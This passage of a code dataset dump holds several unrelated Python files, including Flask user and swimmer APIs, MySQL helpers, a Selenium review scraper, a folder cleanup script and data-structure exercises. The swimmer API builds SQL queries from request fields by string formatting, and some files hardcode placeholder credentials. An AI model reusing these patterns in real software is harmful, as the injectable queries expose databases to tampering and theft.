self.t_0, self.T_d)\n\n def __str__(self):\n return f\"T_d={self.T_d_days:.2f} t_0='{str(self.t_0)[:10]}' r^2={self.r2:.3f} start='{str(self.start)[:10]}' stop='{str(self.stop)[:10]}'\"\n\n def shift(self, offset):\n if isinstance(offset, (float, int)):\n offset = np.timedelta64(int(offset * 24 * 60 * 60), \"s\")\n t_0 = self.t_0 + offset\n start = np.datetime64(self.start) + offset\n stop = np.datetime64(self.stop) + offset\n return self.__class__(t_0, self.T_d, r2=self.r2, start=start, stop=stop)\n\n def scale(self, scale):\n offset = -np.log2(scale) * self.T_d\n t_0 = self.t_0 + offset\n return self.__class__(\n t_0, self.T_d, r2=self.r2, start=self.start, stop=self.stop\n )\n\n\ndef find_best_fits_size(y, data, size):\n fits = []\n for start, stop in zip(data.index, data.index[size - 1 :]):\n fits.append(ExponentialFit.from_frame(y, data, start, stop))\n return sorted(fits, key=lambda x: -x.r2)\n\n\ndef find_best_fits(y, data, min_r2=0.99, min_size=3, max_size=16):\n fits = {}\n for size in range(max_size, min_size - 1, -1):\n res = [f for f in find_best_fits_size(y, data, size) if f.r2 >= min_r2]\n if res:\n fits[size] = res\n return fits\n\n\ndef fit_exponential_segments(\n data, breaks=(None, None), break_length=DAY, valid_ratio=0, **kwargs\n):\n starts = [np.datetime64(b, \"s\") if b is not None else b for b in breaks]\n stops = [s - break_length if s is not None else s for s in starts[1:]]\n exponential_segments = []\n for start, stop in zip(starts, stops):\n try:\n if isinstance(data, xr.DataArray):\n fit = ExponentialFit.from_xarray(\n data, start=start, stop=stop, valid_ratio=valid_ratio, **kwargs\n )\n else:\n fit = ExponentialFit.from_frame(data, start=start, stop=stop, **kwargs)\n if np.isfinite(fit.T_d):\n exponential_segments.append(fit)\n except ValueError:\n print(f\"skipping start={start} stop={stop}\")\n return exponential_segments\n\n\ndef fit_exponential_outbreaks(sources, outbreaks):\n exponential_outbreaks = []\n for o in outbreaks:\n outbreak = o.copy()\n for source in sources:\n if outbreak[\"location\"] in source.location:\n data = source.sel(location=outbreak[\"location\"])\n fit = ExponentialFit.from_xarray(\n data, outbreak[\"start\"], outbreak[\"stop\"]\n )\n outbreak[\"fit\"] = fit\n if math.isnan(outbreak[\"lat\"]):\n outbreak[\"lat\"] = float(data.lat.values)\n if math.isnan(outbreak[\"lon\"]):\n outbreak[\"lon\"] = float(data.lon.values)\n exponential_outbreaks.append(outbreak)\n break\n return exponential_outbreaks\n","repo_name":"alexamici/covid-19-notebooks","sub_path":"covid19/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"21"} +{"seq_id":"11278463010","text":"import MySQLdb\nfrom datetime import datetime\n\ndef setup():\n global mydb, cursor\n mydb = MySQLdb.connect(\n host='localhost',\n user='danilo',\n password='password',\n database='RETIREMENT'\n )\n\n cursor = mydb.cursor()\n\n x = cursor.execute(\"SHOW TABLES\")\n\n if x == 0:\n cursor.execute(\"CREATE TABLE retirement (age VARCHAR(10), salary VARCHAR(100), percentage VARCHAR(5), goal VARCHAR(100),\\\n output VARCHAR(100),\\\n date VARCHAR(100) PRIMARY KEY)\")\n mydb.commit()\n\ndef addEntry(age, salary, percentage, goal, output):\n cursor.execute(\"INSERT INTO retirement VALUES(%s, %s, %s, %s, %s, %s)\", (str(age), str(salary), str(percentage),\\\n str(goal), str(output), str(datetime.now())))\n mydb.commit()\n\ndef retriveEntries():\n output = \"Age\\tSalary\\tPercentage\\tGoal\\tOutput\\tTime\\n\"\n cursor.execute(\"SELECT * FROM retirement\")\n result = cursor.fetchall()\n\n for tmp in result:\n output = output + tmp[0] + \"\\t\" + tmp[1] + \"\\t\" + tmp[2] + \"\\t\\t\" + tmp[3] + \"\\t\" + tmp[4] + \"\\t\" + tmp[5] + \"\\n\"\n\n return output\n\ndef isEmpty():\n x = cursor.execute(\"SELECT * FROM retirement\")\n\n if x:\n return False\n else:\n return True\n\ndef closeDB():\n cursor.close()\n mydb.close()\n\nif __name__ == \"__main__\":\n setup()\n closeDB()","repo_name":"danilo-souza/PPA2","sub_path":"Retirement_DB.py","file_name":"Retirement_DB.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40127720227","text":"from flask import render_template, url_for, flash, redirect, request, Blueprint, Response, jsonify, current_app\nfrom flaskblog import db, bcrypt, ma\nfrom flaskblog.models import User, Post\nfrom flaskblog.serializers import UserSchema\nfrom flaskblog.users.utils import save_picture, send_reset_email\nfrom functools import wraps\nimport logging, json\nimport jwt\nimport datetime\nimport os\n\nusers = Blueprint('users', __name__)\n\nuser_schema = UserSchema()\nusers_schema = UserSchema(many=True)\n\n@users.route('/api/register', methods=['GET', 'POST'])\ndef api_register():\n try:\n data = json.loads(request.data)\n username = data['username']\n email = data['email'].lower()\n hashed_password = bcrypt.generate_password_hash(data['password']).decode('utf-8')\n\n user = User(username=username, email=email, password=hashed_password)\n db.session.add(user)\n db.session.commit()\n\n user_serialized = user_schema.dump(user)\n response = Response(\n response=json.dumps(user_serialized),\n status=201,\n mimetype='application/json'\n )\n\n return response\n except:\n return Response(\n response='Incorrect account information',\n status=400\n )\n\n@users.route('/api/login', methods=['GET', 'POST'])\ndef api_login():\n data = json.loads(request.data)\n\n email = data['email'].lower()\n user = User.query.filter_by(email=email).first()\n if user and bcrypt.check_password_hash(user.password, data['password']):\n payload = {\n 'user_id': user.id,\n 'exp': datetime.datetime.utcnow()+datetime.timedelta(hours=24)\n }\n token = jwt.encode(payload, os.environ.get('SECRET_KEY'), algorithm=\"HS256\")\n\n response = Response(\n response=json.dumps({'token': token}),\n status=200,\n mimetype='application/json'\n )\n return response\n else:\n return Response(\n response='Incorrect account information',\n status=400\n )\n\ndef token_required(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n if request.headers[\"x-access-token\"] != \"null\":\n req_token = request.headers[\"x-access-token\"]\n token_split = req_token.split(' ')\n token = token_split[1]\n try:\n verification = jwt.decode(token, os.environ.get('SECRET_KEY'), algorithms=[\"HS256\"])\n current_user = db.session.query(User).filter_by(id=verification['user_id']).first()\n except:\n raise\n return jsonify({'message': 'Invalid token or user'})\n\n else:\n return Response(\n response='No token passed',\n status=400\n )\n\n return f(current_user, *args, **kwargs)\n return decorated\n\n@users.route('/api/verify_jwt', methods=['GET', 'POST'])\ndef api_verify_jwt():\n token = None\n\n if 'x-access-token' in request.headers:\n req_token = request.headers[\"x-access-token\"]\n token_split = req_token.split(' ')\n token = token_split[1]\n\n if not token:\n raise\n return Response(\n response='No token passed',\n status=400\n )\n try:\n verification = jwt.decode(token, os.environ.get('SECRET_KEY'), algorithms=[\"HS256\"])\n current_user = db.session.query(User).filter_by(id=verification['user_id']).first()\n user_serialized = user_schema.dump(current_user)\n return Response(\n response=json.dumps(user_serialized),\n status=200,\n mimetype='application/json'\n )\n except:\n raise\n return Response(\n response='Token is invalid',\n status=400\n )\n\n@users.route('/api/get_user', methods=['GET', 'POST'])\n@token_required\ndef get_user(current_user):\n user_serialized = user_schema.dump(current_user)\n return Response(\n response=json.dumps(user_serialized),\n status=200,\n mimetype='application/json'\n )\n\n@users.route('/api/update_user', methods={'GET', 'POST'})\n@token_required\ndef update_user(current_user):\n if request.files['image_file']:\n picture_hex = save_picture(request.files['image_file'])\n current_user.image_file = picture_hex\n if request.form['email']:\n current_user.email = request.form['email'].lower()\n if request.form['username']:\n current_user.username = request.form['username']\n db.session.commit()\n user_serialized = user_schema.dump(current_user)\n\n return Response(\n response=json.dumps(user_serialized),\n status=200,\n mimetype='application/json'\n )\n\n@users.route('/api/request_reset_email', methods=['POST'])\ndef request_reset_email():\n try:\n data = json.loads(request.data)\n email = data['email'].lower()\n user = db.session.query(User).filter_by(email=email).first()\n if not user:\n return Response(\n response='no user found by this email',\n status=400\n )\n else:\n send_reset_email(user)\n return Response(\n response='Email has been sent!',\n status=200\n )\n except:\n raise\n\n@users.route('/api/reset_password', methods=['POST'])\ndef api_reset_token():\n data = json.loads(request.data)\n token = data['token']\n user = User.verify_reset_token(token)\n if user is None:\n return Response(\n response='That is an invalid or expired token',\n status=400\n )\n try:\n hashed_password = bcrypt.generate_password_hash(data['password']).decode('utf-8')\n user.password = hashed_password\n db.session.commit()\n\n user_serialized = user_schema.dump(user)\n\n return Response(\n response=json.dumps(user_serialized),\n status=200,\n mimetype='application/json'\n )\n except:\n raise","repo_name":"royalsaltmerchant/zennit","sub_path":"flaskblog/users/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42275166063","text":"# -*- coding: utf-8 -*-\n\n# 输入文件夹路径,将此文件夹下所有的空文件夹和空文件删除\n\nimport os\n\ndef check_folder(file):\n print('check at:', file)\n if os.path.isdir(file): # 如果是文件夹\n if not os.listdir(file): # 如果子文件为空\n os.rmdir(file) # 删除这个空文件夹\n print('rm tmp dir success:', file)\n elif os.path.isfile(file): # 如果是文件\n if os.path.getsize(file) == 0: # 文件大小为0\n os.remove(file) # 删除这个文件\n pass\n\ndef check_temp_path(path):\n files = os.listdir(path) # 获取路径下的子文件(夹)列表\n for file in files:\n print('check at:', file)\n check_folder(file)\n\n path1 = path + \"/\" + file\n file = os.listdir(path1) # 获取子文件(夹)下二级文件夹列表\n for f1 in file:\n print('check f1 at:', f1)\n abs_path = path1 + \"/\" + f1\n check_folder(abs_path)\n\n # for f2 in f1:\n # print('check at:', f2)\n # check_folder(f2)\n\n print (path, 'Dispose over!')\n\n\ncheck_temp_path(\"/home/chenwei/workspace/renlian/shijijiayuan/0917_read_photo/output\")\n","repo_name":"cheenwe/cheenwe.github.io","sub_path":"_posts/sh/python/check_folder.py","file_name":"check_folder.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"zh","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"8768641818","text":"\"\"\"\nProblem statement:\nAnimal Shelter: An animal shelter, which holds only dogs and cats, operates on a strictly\n\"first in, first out\" basis. People must adopt either the \"oldest\" (based on arrival time)\nof all animals at the shelter, or they can select wheather they would prefer a dog\nor a cat (and will receive the oldest animal of that type). They cannot select which\nspecific animal they would like. Create the data structures to maintain this system and\nimplement operations such as enqueue, dequeueAny, dequeueDog, and dequeueCat. You may\nuse the built-in LinkedList data structure.\n\"\"\"\n\nimport enum\n\n# //----------------------------------------------------------------------------------//\n# //\n# //\n\nclass Animal(enum.Enum):\n dog = 1\n cat = 2\n\nclass Node:\n def __init__(self,animal,number,next=None):\n self.animal = animal\n self.number = number\n self.next = next\n\nclass Queue:\n\n head = None\n tail = None\n count = 0\n\n def enqueue(self,animal):\n self.count += 1\n\n new_tail = Node(animal,self.count)\n \n if self.tail:\n self.tail.next = new_tail\n \n self.tail = new_tail\n\n if not self.head:\n self.head = self.tail\n\n def dequeue_any(self):\n animal = str(self.head.animal.name) + str(self.head.number)\n self.head = self.head.next\n return animal\n\n def dequeue(self,dequeue_type):\n \n if self.head.animal == dequeue_type:\n animal = str(self.head.animal.name) + str(self.head.number)\n self.head = self.head.next\n return animal\n\n node = self.head\n while node != None:\n next_node = node.next\n if next_node.animal == dequeue_type:\n animal = str(next_node.animal.name) + str(next_node.number)\n node.next = next_node.next\n return animal\n node = node.next\n\n return f\"No {dequeue_type.name} available.\"\n\n def dequeue_dog(self):\n return self.dequeue(Animal.dog)\n\n def dequeue_cat(self):\n return self.dequeue(Animal.cat)\n\n\n def print(self):\n print(\"Queue:\")\n node = self.head\n while node != None:\n animal = str(node.animal.name) + str(node.number)\n print(animal)\n node = node.next\n\n \n\n# //----------------------------------------------------------------------------------//\n# //\n# //\n\n\ndef main():\n q = Queue()\n q.enqueue(Animal.dog)\n q.enqueue(Animal.dog)\n q.print()\n print(f\"Congrats on adopting {q.dequeue_dog()}!\")\n q.enqueue(Animal.cat)\n q.enqueue(Animal.dog)\n q.enqueue(Animal.cat)\n q.print()\n print(f\"Congrats on adopting {q.dequeue_cat()}!\")\n q.print()\n print(f\"Congrats on adopting {q.dequeue_any()}!\")\n q.print()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sidsherrill1/CTCI","sub_path":"Stacks and Queues/3.6.py","file_name":"3.6.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1674086926","text":"'''\nCreated on 25 Jul 2019\n\n@author: daim\n'''\n\nfrom etilog.models import (Country, SustainabilityDomain, SustainabilityTag,\n SustainabilityTendency, ImpactEvent,\n Company, SubsidiaryOwner, SupplierRecipient\n )\nfrom openpyxl import load_workbook\nimport warnings\nimport os\n\n\ndef parse_xcl(): # , eventlist, eventtype_dict):\n base_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n spath = os.path.join(base_dir, 'DB_ImportFields.xlsx')\n print(spath)\n\n warnings.simplefilter(\"ignore\")\n\n wb = load_workbook(spath) # , read_only = True)#read_only = True)\n\n warnings.simplefilter(\"default\")\n\n parse_companies_relations()\n\n # imp_originalmodel(wb)\n\n # not needed anymore as already parsed\n # parse_tags_domain_tendency() #after parse tags\n # parse_ies_domain_tendency()\n\n\ndef imp_originalmodel(wb):\n parse_country(wb)\n\n parse_domain(wb)\n\n parse_tags(wb) # after sustcateg and domains\n\n\ndef parse_country(wb):\n sheet = wb['Country']\n rowcount = sheet.max_row\n\n for cell in sheet[1]:\n col_strs = ['Name', '2alpha', '3alpha', 'Nr']\n col_dict = {}\n for col_str in col_strs:\n for cell in sheet[1]:\n if cell.value == col_str:\n col_dict[col_str] = cell.column\n\n i = 3 # without header\n\n while i < rowcount + 1: # sheet_iter = sheet.iter_rows\n\n name_str = sheet.cell(row=i, column=col_dict['Name']).value\n num_int = int(sheet.cell(row=i, column=col_dict['Nr']).value)\n a2_str = sheet.cell(row=i, column=col_dict['2alpha']).value\n a3_str = sheet.cell(row=i, column=col_dict['3alpha']).value\n\n default_data = {'name': name_str,\n 'alpha2code': a2_str,\n 'alpha3code': a3_str\n }\n\n country, created = Country.objects.update_or_create(numeric=num_int,\n defaults=default_data)\n country.save()\n i += 1\n\n\ndef parse_domain(wb):\n sheet = wb['SustDomain']\n rowcount = sheet.max_row\n\n for cell in sheet[1]:\n col_strs = ['Nr', 'Name']\n col_dict = {}\n for col_str in col_strs:\n for cell in sheet[1]:\n if cell.value == col_str:\n col_dict[col_str] = cell.column\n\n i = 3 # without header\n\n while i < rowcount + 1: # sheet_iter = sheet.iter_rows\n\n name_str = sheet.cell(row=i, column=col_dict['Name']).value\n num_int = int(sheet.cell(row=i, column=col_dict['Nr']).value)\n\n default_data = {'name': name_str,\n }\n\n domain_db, created = SustainabilityDomain.objects.update_or_create(impnr=num_int,\n defaults=default_data)\n domain_db.save()\n i += 1\n\n\ndef parse_tags(wb):\n sheet = wb['Tags']\n rowcount = sheet.max_row\n\n for cell in sheet[1]:\n col_strs = ['Nr', 'Name', 'CatID', 'description']\n col_dict = {}\n for col_str in col_strs:\n for cell in sheet[1]:\n if cell.value == col_str:\n col_dict[col_str] = cell.column\n\n i = 3 # without header\n\n while i < rowcount + 1: # sheet_iter = sheet.iter_rows\n\n name_str = sheet.cell(row=i, column=col_dict['Name']).value\n print(sheet.cell(row=i, column=col_dict['Nr']).value)\n num_int = int(sheet.cell(row=i, column=col_dict['Nr']).value)\n categ_str = sheet.cell(row=i, column=col_dict['CatID']).value\n descript_str = sheet.cell(row=i, column=col_dict['description']).value\n\n default_data = {'name': name_str,\n 'description': descript_str\n }\n\n tag_db, created = SustainabilityTag.objects.update_or_create(impnr=num_int,\n defaults=default_data)\n tag_db.save() # needed for manytomany\n\n if categ_str:\n cat_list = categ_str.split(';')\n catdb_list = []\n for categ_int in cat_list:\n catdb = SustainabilityCategory.objects.get(impnr=int(categ_int))\n catdb_list.append(catdb)\n\n tag_db.sust_categories.set(catdb_list)\n tag_db.save()\n\n i += 1\n\n\ndef parse_tags_domain_tendency():\n q = SustainabilityTag.objects.all()\n for el_db in q:\n q_sust = el_db.sust_categories.all()\n ten_list = []\n dom_list = []\n for st_db in q_sust:\n dom_db, ten_db = get_domain_tendency(st_db)\n dom_list.append(dom_db)\n el_db.sust_domains.set(dom_list)\n el_db.sust_tendency = ten_db\n el_db.save()\n\n\ndef parse_ies_domain_tendency():\n q = ImpactEvent.objects.all()\n for el_db in q:\n st_db = el_db.sust_category\n dom_db, ten_db = get_domain_tendency(st_db)\n el_db.sust_domain = dom_db\n el_db.sust_tendency = ten_db\n el_db.save()\n\n\ndef get_domain_tendency(st_db):\n dom_db = st_db.sust_domain\n sname = st_db.name\n pos = 'positive'\n neg = 'negative'\n contr = 'controversial'\n if pos[:4] in sname:\n name_str = pos\n def_data = {'name': name_str}\n ten_db, created = SustainabilityTendency.objects.get_or_create(name__icontains=name_str,\n defaults=def_data)\n\n\n\n\n elif neg[:4] in sname:\n name_str = neg\n def_data = {'name': name_str}\n ten_db, created = SustainabilityTendency.objects.get_or_create(name__icontains=name_str,\n defaults=def_data)\n\n elif contr[:4] in sname:\n name_str = contr\n def_data = {'name': name_str}\n ten_db, created = SustainabilityTendency.objects.get_or_create(name__icontains=name_str,\n defaults=def_data)\n\n ten_db.save()\n\n return dom_db, ten_db\n\n\ndef parse_companies_relations():\n def create_relobj(q, cls):\n wrong_relations = []\n for obj in q.order_by('pk'): # all relations are doubled, first is correct one\n objid = obj.pk\n if objid in wrong_relations:\n continue\n\n fcomp = obj.from_company\n tcomp = obj.to_company\n # get wrong ones where its the opposite way with higher pk\n wrong_obj = q.get(from_company=tcomp, to_company=fcomp)\n wrong_relations.append(wrong_obj.pk)\n\n # create if not exist\n if cls == 'sub':\n # target is a subsidiary\n SubsidiaryOwner.objects.update_or_create(owner_company=fcomp,\n subsidiary_company=tcomp)\n\n elif cls == 'owner':\n # target is a owner\n SubsidiaryOwner.objects.update_or_create(owner_company=tcomp,\n subsidiary_company=fcomp)\n\n elif cls == 'suppliers':\n # target is a supplier\n SupplierRecipient.objects.update_or_create(recipient_company=fcomp,\n supplier_company=tcomp)\n\n elif cls == 'recipients':\n # target is a recipient\n SupplierRecipient.objects.update_or_create(recipient_company=tcomp,\n supplier_company=fcomp)\n\n co1 = Company.objects.first()\n\n # get all subsidiary of through model\n subs = co1.subsidiary_old.through.objects.all()\n create_relobj(subs, 'sub')\n\n owners = co1.owner_old.through.objects.all()\n create_relobj(owners, 'owner')\n\n owners = co1.supplier_old.through.objects.all()\n create_relobj(owners, 'suppliers')\n\n owners = co1.recipient_old.through.objects.all()\n create_relobj(owners, 'recipients')\n","repo_name":"hodeld/etiki-prototype1","sub_path":"impexport/Logic/ViewImportDB.py","file_name":"ViewImportDB.py","file_ext":"py","file_size_in_byte":8098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23506212919","text":"import sys\ninput = sys.stdin.readline\n\nsys.setrecursionlimit(10**9)\n\nN, L, R = map(int, input().split())\nmatrix = []\nfor _ in range(N):\n line = list(map(int, input().split()))\n matrix.append(line)\n\nchk = [[0] * N for _ in range(N)]\ndx = [0, 0, 1, -1]\ndy = [1, -1, 0, 0]\n\nres = 0\n\ndef dfs(x, y):\n print(x, y)\n global union, total, chk\n for k in range(4):\n nx = x + dx[k]\n ny = y + dy[k]\n print(nx, ny)\n if 0 <= nx < N and 0 <= ny < N and chk[nx][ny] == 0 and L <= abs(matrix[x][y] - matrix[nx][ny]) <= R:\n union.append((nx, ny))\n chk[nx][ny] = 1\n total += matrix[nx][ny]\n dfs(nx, ny)\n\nwhile True:\n chk = [[0] * N for _ in range(N)]\n fin = 0\n for i in range(N):\n for j in range(N):\n print(i,j)\n if chk[i][j] == 0:\n chk[i][j] = 1\n union = [(i, j)]\n total = matrix[i][j]\n dfs(i, j)\n print(union, total)\n if len(union) < 2:\n fin += 1\n else:\n print(\"else\")\n for x, y in union:\n matrix[x][y] = total // len(union)\n print(matrix)\n else:\n print(\"fin\", fin)\n if fin == N*N:\n print(res)\n break\n \n res += 1\n ","repo_name":"nkrang/Algorithm-Study","sub_path":"202109/B-16234/인구_이동.py","file_name":"인구_이동.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6484681173","text":"# 1.7 让字典保持有序\n\n# 1.7.1 问题 我们想创建一个字典,同时当对字典做迭代或序列化操作时,也能控制其中元素的顺序\n\n# 1.7.2 解决方案 要控制字典中元素的顺序,可以使用collections模块中的OrderedDict类。 当对字典\n#做迭代时,它会严格按照元素初始添加的顺序进行 如\n\n\nfrom collections import OrderedDict\n\nd = OrderedDict()\n\nd['foo'] = 1\nd['bar'] = 2\nd['spam'] = 3\nd['grok'] = 4\nd['karson'] = 5\nd['Greenbirch'] = 6\n\n# Outputs \"foo 1\",...\n\nfor key in d:\n print(key,d[key])\n\nprint(88*'~')\n\n# 当想构建一个映射结构以便稍后对其做序列化或编码成另一个格式时,OrderedDict就显得很有用。\n# 例如,如果想进行JSON编码时精确控制各字段的顺序,那么只要首先在OrderedDict中构建数据就可以了\n\nimport json\nprint(json.dumps(d))\n\nprint(88*'~')\n\n\n# 1.7.3 讨论 OrderedDict 内部维护了一个双向链表,它会根据元素加入的顺序来排列键的位置。\n# 第一个新加入的元素被放置在链表的末尾。接下来对已存在的键做重新赋值不会改变键的顺序\n# 请注意OrderedDict的大小是普通字典的2倍多,这是由于它额外创建的链表所致。因此,如果打算\n# 构建一个涉及大量 OrderedDict实例的数据结构(例如从CSV文件中读取100000行内容到OrderedDict列表中)。\n#那么需要认真对应用做需求分析,从而判断使用 OrderedDict 所带来的好处是否能够超越因额外的\n# 内存开销所带来的缺点\n\n","repo_name":"mojoru2023/Recoding_Python","sub_path":"Python_Cook(练习)/1.数据结构和算法/file.7.py","file_name":"file.7.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43920281290","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.chrome.options import Options\n\nclass FindByXpathCss():\n # driver = webdriver.Chrome(executable_path=r\"/usr/local/bin/chromedriver\") #for mac\n # for win\n options = Options()\n options.binary_location = \"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\n driver = webdriver.Chrome(chrome_options = options, executable_path=r'D:\\WEB\\chromedriver.exe')\n # end\n driver.maximize_window()\n baseUrl = \"https://play.google.com/store/apps/details?id=com.sberauto.mobile&showAllReviews=true\"\n driver.get(baseUrl)\n\n scrolls = 3\n while True:\n scrolls -= 1\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n time.sleep(3)\n if scrolls < 0:\n break\n\n elemtn = WebDriverWait(driver, 30).until(\n EC.element_to_be_clickable((By.XPATH, \"//span[contains(@class,'RveJvd snByac')]\")))\n elemtn.click()\n\n scrolls = 5\n while True:\n scrolls -= 1\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n time.sleep(3)\n if scrolls < 0:\n break\n\n elemtn = WebDriverWait(driver, 30).until(\n EC.element_to_be_clickable((By.XPATH, \"//span[contains(@class,'RveJvd snByac')]\")))\n elemtn.click()\n reviewText = WebDriverWait(driver, 30).until(\n EC.presence_of_all_elements_located((By.XPATH, \"//*[@class='UD7Dzf']\")))\n\n # reviewText = driver.find_elements_by_xpath(\"//*[@class='UD7Dzf']\")\n for textreview in reviewText:\n print(textreview.text)\n\nif __name__=='__main__':\n FindByXpathCss()","repo_name":"MADeyneko/app_reviews","sub_path":"selen.py","file_name":"selen.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24516762529","text":"from socket import *\n\nserverName = 'localhost'\nserverPort=12000\n \nclientSocket = socket(AF_INET, SOCK_STREAM)\nclientSocket.connect((serverName, serverPort))\n\nmessage=input('Input lowercase sentence:')\nclientSocket.send(message.encode())\nprint('Sending data to server at:', clientSocket.getpeername())\nmodifiedMessage =clientSocket.recv(1024)\n\nprint('From server:', modifiedMessage.decode())\nclientSocket.close()","repo_name":"poseidon078/EE673","sub_path":"A1/TCPClientA.py","file_name":"TCPClientA.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"17404130926","text":"from flask import Flask, json, render_template, jsonify\nfrom flask_restful import Resource, Api, reqparse, abort\nimport mysql.connector\n\n\n# ==== Database connection setup ==== #\n\ndb = mysql.connector.connect(\n host=\"localhost\",\n user=\"test_user\",\n password=\"password\",\n database=\"X_Swim_Team\"\n)\n\ncursor = db.cursor()\n\n\n# ==== Basic app and API setup ==== #\n\napp = Flask(__name__)\napp.config['JSON_SORT_KEYS'] = False\napi = Api(app)\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n# ==== Validation functions ==== #\n\ndef validateUserExists(position, uid):\n queryUserExists = \"SELECT EXISTS(SELECT * FROM {} WHERE ID = {})\"\n queryUserExists = queryUserExists.format(position, uid)\n cursor.execute(queryUserExists)\n userExists = cursor.fetchone()\n if not userExists[0]:\n abort(404, message=\"There is no user with the ID \" + str(uid) + \"!\")\n\ndef validateIDNotInUse(position, uid):\n queryIDNotInUse = \"SELECT EXISTS(SELECT * FROM {} WHERE ID = {})\"\n queryIDNotInUse = queryIDNotInUse.format(position, uid)\n cursor.execute(queryIDNotInUse)\n idInUse = cursor.fetchone()\n if idInUse[0]:\n abort(409, message=\"There is already a user with the ID \" + str(uid) + \"!\")\n\n\n# ==== Argparse code for put and patch requests ==== #\n\n# PUT Swimmer\nswimmer_put_args = reqparse.RequestParser()\nswimmer_put_args.add_argument(\"name\", type=str, help=\"Name of new swimmer is required\", required=True)\nswimmer_put_args.add_argument(\"birthdate\", type=str, help=\"Birthdate of new swimmer is required\", required=True)\nswimmer_put_args.add_argument(\"swimmer_group\", type=str, help=\"Group of new swimmer is required\", required=True)\nswimmer_put_args.add_argument(\"main_event\", type=str, help=\"Main event of new swimmer is required\", required=True)\n\n# PATCH Swimmer (assume birthdate will not be updated)\nswimmer_patch_args = reqparse.RequestParser()\nswimmer_patch_args.add_argument(\"name\", type=str, help=\"Update name of swimmer\")\nswimmer_patch_args.add_argument(\"swimmer_group\", type=str, help=\"Update group of swimmer\")\nswimmer_patch_args.add_argument(\"main_event\", type=str, help=\"Update main event of swimmer\")\n\n# PUT Coach\ncoach_put_args = reqparse.RequestParser()\ncoach_put_args.add_argument(\"name\", type=str, help=\"Name of new coach is required\", required=True)\ncoach_put_args.add_argument(\"birthdate\", type=str, help=\"Birthdate of new coach is required\", required=True)\ncoach_put_args.add_argument(\"coach_group\", type=str, help=\"Group of new coach is required\", required=True)\n\n# PATCH Coach (assume birthdate will not be updated)\ncoach_patch_args = reqparse.RequestParser()\ncoach_patch_args.add_argument(\"name\", type=str, help=\"Update name of coach\")\ncoach_patch_args.add_argument(\"coach_group\", type=str, help=\"Update group of new coach\")\n\n\n# ==== Swimmer API ==== #\n\nclass Swimmers(Resource):\n def get(self, user_id):\n # Special GET request with user_id=0; list all IDs and associated swimmers\n if user_id == 0:\n querySwimmers = \"SELECT ID, Name FROM Swimmers;\"\n cursor.execute(querySwimmers)\n swimmers = cursor.fetchall()\n payload = []\n content = {}\n for swimmer in swimmers:\n content = {\"ID\": swimmer[0], \"Name\": swimmer[1]}\n payload.append(content)\n content = {}\n response = jsonify(payload)\n response.status_code = 200\n return response \n \n validateUserExists(\"Swimmers\", user_id)\n \n # Query swimmer data \n querySwimmerData = \"SELECT * FROM Swimmers WHERE ID = {};\"\n querySwimmerData = querySwimmerData.format(user_id)\n cursor.execute(querySwimmerData)\n swimmerData = cursor.fetchone()\n \n # Calculate age from birthdate\n querySwimmerAge = \"SELECT DATE_FORMAT(NOW(), '%Y') - DATE_FORMAT(Birthdate, '%Y') - (DATE_FORMAT(NOW(), '00-%m-%d') < DATE_FORMAT(Birthdate, '00-%m-%d')) AS Age FROM Swimmers WHERE ID = {};\"\n querySwimmerAge = querySwimmerAge.format(user_id)\n cursor.execute(querySwimmerAge)\n swimmerAge = cursor.fetchone()\n \n content = {\"ID\": swimmerData[0], \"Name\": swimmerData[1], \"Age\": int(swimmerAge[0]), \"SwimmerGroup\": swimmerData[3], \"MainEvent\": swimmerData[4]}\n\n response = jsonify(content)\n response.status_code = 200\n return response \n \n def put(self, user_id):\n validateIDNotInUse(\"Swimmers\", user_id)\n \n args = swimmer_put_args.parse_args()\n name = args[\"name\"]\n birthdate = args[\"birthdate\"]\n swimmerGroup = args[\"swimmer_group\"]\n mainEvent = args[\"main_event\"]\n \n insertSwimmerQuery = \"INSERT INTO Swimmers VALUES ({}, '{}', '{}', '{}', '{}');\"\n insertSwimmerQuery = insertSwimmerQuery.format(user_id, name, birthdate, swimmerGroup, mainEvent)\n cursor.execute(insertSwimmerQuery)\n db.commit()\n\n querySwimmers = \"SELECT ID, Name FROM Swimmers\"\n cursor.execute(querySwimmers)\n swimmers = cursor.fetchall()\n payload = []\n content = {}\n for swimmer in swimmers:\n content = {\"ID\": swimmer[0], \"Name\": swimmer[1]}\n payload.append(content)\n content = {}\n response = jsonify(payload)\n response.status_code = 201\n return response \n \n def patch(self, user_id):\n 